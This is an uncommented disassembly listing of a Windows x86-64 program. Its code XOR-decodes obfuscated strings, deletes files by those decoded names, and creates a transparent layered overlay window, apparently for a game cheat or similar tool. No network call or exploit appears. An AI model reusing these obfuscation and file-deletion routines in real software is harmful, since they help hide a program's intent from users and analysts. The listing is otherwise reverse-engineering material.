movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x7ff6bb0097d0
cmp r8d, 0x17
jge 0x7ff6bb009924
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x7ff6bb0098f0
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_remove]
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013e90
mov r10, rax
cmp byte [rax + 0x1a], dil
je 0x7ff6bb009af4
mov r8d, edi
cmp r13d, 2
jl 0x7ff6bb009ab1
movdqa xmm0, xmmword [0x7ff6bb0ac460]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff6bb0ac370]
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm6, esi
movd xmm8, r14d
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x7ff6bb0099a0
cmp r8d, 0x1b
jge 0x7ff6bb009af4
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x7ff6bb009ac0
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_remove]
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013ec0
mov r10, rax
cmp byte [rax + 0x16], dil
je 0x7ff6bb009cc4
mov r8d, edi
cmp r13d, 2
jl 0x7ff6bb009c81
movdqa xmm0, xmmword [0x7ff6bb0ac460]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff6bb0ac370]
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm6, esi
movd xmm8, r14d
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x7ff6bb009b70
cmp r8d, 0x17
jge 0x7ff6bb009cc4
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x7ff6bb009c90
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_remove]
lea rdx, [rbp - 0x50]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013ef0
mov r10, rax
cmp byte [rax + 0x25], dil
je 0x7ff6bb009e84
mov r8d, edi
cmp r13d, 2
jl 0x7ff6bb009e41
movdqa xmm0, xmmword [0x7ff6bb0ac460]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff6bb0ac370]
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm6, esi
movd xmm8, r14d
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x7ff6bb009d30
cmp r8d, 0x26
jge 0x7ff6bb009e84
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x26
jl 0x7ff6bb009e50
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_remove]
lea rdx, [rbp - 0x50]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013f20
mov r10, rax
cmp byte [rax + 0x28], dil
je 0x7ff6bb00a044
mov r8d, edi
cmp r13d, 2
jl 0x7ff6bb00a001
movdqa xmm0, xmmword [0x7ff6bb0ac460]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff6bb0ac370]
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm6, esi
movd xmm8, r14d
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x7ff6bb009ef0
cmp r8d, 0x29
jge 0x7ff6bb00a044
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x7ff6bb00a010
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_remove]
lea rdx, [rbp - 0x50]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013f50
mov r10, rax
cmp byte [rax + 0x24], dil
je 0x7ff6bb00a204
mov r8d, edi
cmp r13d, 2
jl 0x7ff6bb00a1c1
movdqa xmm0, xmmword [0x7ff6bb0ac460]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff6bb0ac370]
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm6, esi
movd xmm8, r14d
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x7ff6bb00a0b0
cmp r8d, 0x25
jge 0x7ff6bb00a204
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x7ff6bb00a1d0
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_remove]
lea rdx, [rbp - 0x50]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013f80
mov r10, rax
cmp byte [rax + 0x27], dil
je 0x7ff6bb00a3d6
cmp r13d, 2
jl 0x7ff6bb00a38b
movdqa xmm0, xmmword [0x7ff6bb0ac460]
xor r13d, r13d
movdqa xmm5, xmmword [0x7ff6bb0ac370]
mov edx, r13d
movdqa xmm4, xmmword [0x7ff6bb0ac860]
mov rcx, rax
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
movd xmm6, esi
movd xmm8, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x28
jl 0x7ff6bb00a280
jmp 0x7ff6bb00a3d9
xor r13d, r13d
mov r9, r10
mov r8d, r13d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x28
jl 0x7ff6bb00a3a0
jmp 0x7ff6bb00a3d9
xor r13d, r13d
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_remove]
lea rcx, [0x7ff6bb1535e0]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], dil
lea rcx, [rcx + 1]
jne 0x7ff6bb00a3f0
mov eax, dword [0x7ff6bb0a33d8]
mov edx, pe_nt_image_headers64
movups xmm0, xmmword [0x7ff6bb0a33c0]
movsd xmm1, qword [0x7ff6bb0a33d0]
movups xmmword [rcx], xmm0
movsd qword [rcx + 0x10], xmm1
mov dword [rcx + 0x18], eax
movzx eax, word [0x7ff6bb0a33dc]
mov word [rcx + 0x1c], ax
lea rcx, [rbp + 0x2240]
call fcn.7ff6bb015c80
mov edx, r12d
lea rcx, [rbp + 0x2240]
call fcn.7ff6bb017930
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x2140]
call fcn.7ff6bb015c80
mov edx, r12d
lea rcx, [rbp + 0x2140]
call fcn.7ff6bb017930
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x1e40]
call fcn.7ff6bb015c80
mov edx, r12d
lea rcx, [rbp + 0x1e40]
call fcn.7ff6bb017930
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x1d40]
call fcn.7ff6bb015c80
mov edx, r12d
lea rcx, [rbp + 0x1d40]
call fcn.7ff6bb017930
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x1c40]
call fcn.7ff6bb015c80
mov edx, r12d
lea rcx, [rbp + 0x1c40]
call fcn.7ff6bb017930
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x2040]
call fcn.7ff6bb015c80
mov edx, r12d
lea rcx, [rbp + 0x2040]
call fcn.7ff6bb017930
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x1b40]
call fcn.7ff6bb015c80
mov edx, r12d
lea rcx, [rbp + 0x1b40]
call fcn.7ff6bb017930
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x1a40]
call fcn.7ff6bb015c80
mov edx, r12d
lea rcx, [rbp + 0x1a40]
call fcn.7ff6bb017930
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x1f40]
call fcn.7ff6bb015c80
mov edx, r12d
lea rcx, [rbp + 0x1f40]
call fcn.7ff6bb017930
mov r9d, 0x20
lea r8, [0x7ff6bb0a33e0]
lea rdx, [0x7ff6bb0a3400]
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxW]
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb014570
mov rcx, rax
lea rdx, [rbp + 0x1e40]
call fcn.7ff6bb0005c0
lea rcx, [rbp + 0x11d8]
call fcn.7ff6bb0186d0
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb014b10
mov rcx, rax
lea rdx, [rbp + 0x1d40]
call fcn.7ff6bb0005c0
lea rcx, [rbp + 0x11d8]
call fcn.7ff6bb0186d0
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb015080
mov rcx, rax
lea rdx, [rbp + 0x1c40]
call fcn.7ff6bb0005c0
lea rcx, [rbp + 0x11d8]
call fcn.7ff6bb0186d0
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb015150
mov rcx, rax
lea rdx, [rbp + 0x1b40]
call fcn.7ff6bb0005c0
lea rcx, [rbp + 0x11d8]
call fcn.7ff6bb0186d0
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb015220
mov rcx, rax
lea rdx, [rbp + 0x1a40]
call fcn.7ff6bb0005c0
lea rcx, [rbp + 0x11d8]
call fcn.7ff6bb0186d0
lea rdx, [rbp + 0x1520]
lea rcx, [rbp + 0x2240]
call fcn.7ff6bb017870
lea rdx, [rbp + 0x1620]
lea rcx, [rbp + 0x2140]
call fcn.7ff6bb017870
lea rdx, [rbp + 0x1410]
lea rcx, [rbp + 0x1e40]
call fcn.7ff6bb017870
lea rdx, [rbp + 0x1500]
lea rcx, [rbp + 0x1d40]
call fcn.7ff6bb017870
lea rdx, [rbp + 0x1430]
lea rcx, [rbp + 0x1c40]
call fcn.7ff6bb017870
lea rdx, [rbp + 0x14e0]
lea rcx, [rbp + 0x2040]
call fcn.7ff6bb017870
lea rdx, [rbp + 0x1450]
lea rcx, [rbp + 0x1b40]
call fcn.7ff6bb017870
lea rdx, [rbp + 0x13c8]
lea rcx, [rbp + 0x1a40]
call fcn.7ff6bb017870
lea rdx, [rbp + 0x1640]
lea rcx, [rbp + 0x1f40]
call fcn.7ff6bb017870
lea rcx, [rbp + 0x1520]
call fcn.7ff6bb000670
lea rcx, [rbp + 0x1620]
call fcn.7ff6bb000670
lea rcx, [rbp + 0x1410]
call fcn.7ff6bb000670
lea rcx, [rbp + 0x1500]
call fcn.7ff6bb000670
lea rcx, [rbp + 0x1430]
call fcn.7ff6bb000670
lea rcx, [rbp + 0x14e0]
call fcn.7ff6bb000670
lea rcx, [rbp + 0x1450]
call fcn.7ff6bb000670
lea rcx, [rbp + 0x13c8]
call fcn.7ff6bb000670
lea rcx, [rbp + 0x1640]
call fcn.7ff6bb000670
lea rax, [0x7ff6bb015ea0]
mov dword [rbp + 0x1180], 0x50
mov qword [rbp + 0x1188], rax
mov dword [rbp + 0x1184], 0x40
mov qword [rbp + 0x1190], rdi
mov edx, 0x7f00
mov qword [rbp + 0x1198], r13
xor ecx, ecx
call qword [sym.imp.user32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x11a0], rax
call qword [sym.imp.user32.dll_LoadCursorW]
mov edx, 0x7f00
mov qword [rbp + 0x11b0], r13
mov qword [rbp + 0x11a8], rax
xor ecx, ecx
lea rax, [0x7ff6bb0a3498]
mov qword [rbp + 0x11b8], rax
lea rax, [0x7ff6bb0a34a8]
mov qword [rbp + 0x11c0], rax
call qword [sym.imp.user32.dll_LoadIconW]
lea rcx, [rbp + 0x1180]
mov qword [rbp + 0x11c8], rax
call qword [sym.imp.user32.dll_RegisterClassExW]
cvttss2si edi, dword [0x7ff6bb13e344]
mov ecx, r12d
cvttss2si esi, dword [0x7ff6bb13e340]
call qword [sym.imp.user32.dll_GetSystemMetrics]
movss xmm0, dword [0x7ff6bb13e344]
xor ecx, ecx
movss xmm6, dword [0x7ff6bb0ac024]
cdq
sub eax, edx
mulss xmm0, xmm6
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.user32.dll_GetSystemMetrics]
movss xmm0, dword [0x7ff6bb13e340]
lea r8, [0x7ff6bb0a34b8]
mov qword [rsp + 0x58], r13
cdq
mov qword [rsp + 0x50], r13
sub eax, edx
mov rdx, qword [rbp + 0x11c0]
mov r9d, 0x80000000
mov qword [rsp + 0x48], r13
xor ecx, ecx
mov qword [rsp + 0x40], r13
sar eax, 1
mov dword [rsp + 0x38], edi
mulss xmm0, xmm6
mov dword [rsp + 0x30], esi
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rsp + 0x28], ebx
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.user32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x7ff6bb1535d8], rax
mov edx, 0xffffffec
call qword [sym.imp.user32.dll_GetWindowLongW]
mov rcx, qword [0x7ff6bb1535d8]
mov edx, 0xffffffec
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.user32.dll_SetWindowLongA]
mov rcx, qword [0x7ff6bb1535d8]
mov ebx, 2
mov r9d, ebx
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.user32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x7ff6bb0ac300]
lea rdx, [rbp + 0x13b8]
mov rcx, qword [0x7ff6bb1535d8]
movdqu xmmword [rbp + 0x13b8], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
lea rdx, [0x7ff6bb155530]
movups xmmword [0x7ff6bb155530], xmm0
mov rcx, qword [0x7ff6bb1535d8]
call qword [sym.imp.user32.dll_GetWindowRect]
mov rcx, qword [0x7ff6bb1535d8]
call fcn.7ff6bb015c90
test al, al
jne 0x7ff6bb00a96a
call fcn.7ff6bb015db0
mov rdx, qword [rbp + 0x1198]
mov rcx, qword [rbp + 0x11c0]
call qword [sym.imp.user32.dll_UnregisterClassW]
jmp 0x7ff6bb0129e9
mov rcx, qword [0x7ff6bb1535d8]
mov edx, 0xa
mov qword [rsp + 0x15e20], r15
movaps xmmword [rsp + 0x15de0], xmm9
movaps xmmword [rsp + 0x15dd0], xmm10
movaps xmmword [rsp + 0x15dc0], xmm11
movaps xmmword [rsp + 0x15db0], xmm12
movaps xmmword [rsp + 0x15da0], xmm13
movaps xmmword [rsp + 0x15d90], xmm14
movaps xmmword [rsp + 0x15d80], xmm15
call qword [sym.imp.user32.dll_ShowWindow]
mov rcx, qword [0x7ff6bb1535d8]
call qword [sym.imp.user32.dll_UpdateWindow]
mov qword [rsp + 0x30], rbx
lea rcx, [0x7ff6bb035f98]
mov qword [rsp + 0x28], 0x14
mov edx, 0x37b8
mov r9d, 8
mov qword [rsp + 0x20], 0x10
mov r8d, 0x418
call fcn.7ff6bafd2060
xor ecx, ecx
call fcn.7ff6bafc6260
call fcn.7ff6bafc6340
xor ecx, ecx
mov rdi, rax
mov qword [rax + 0x18], r13
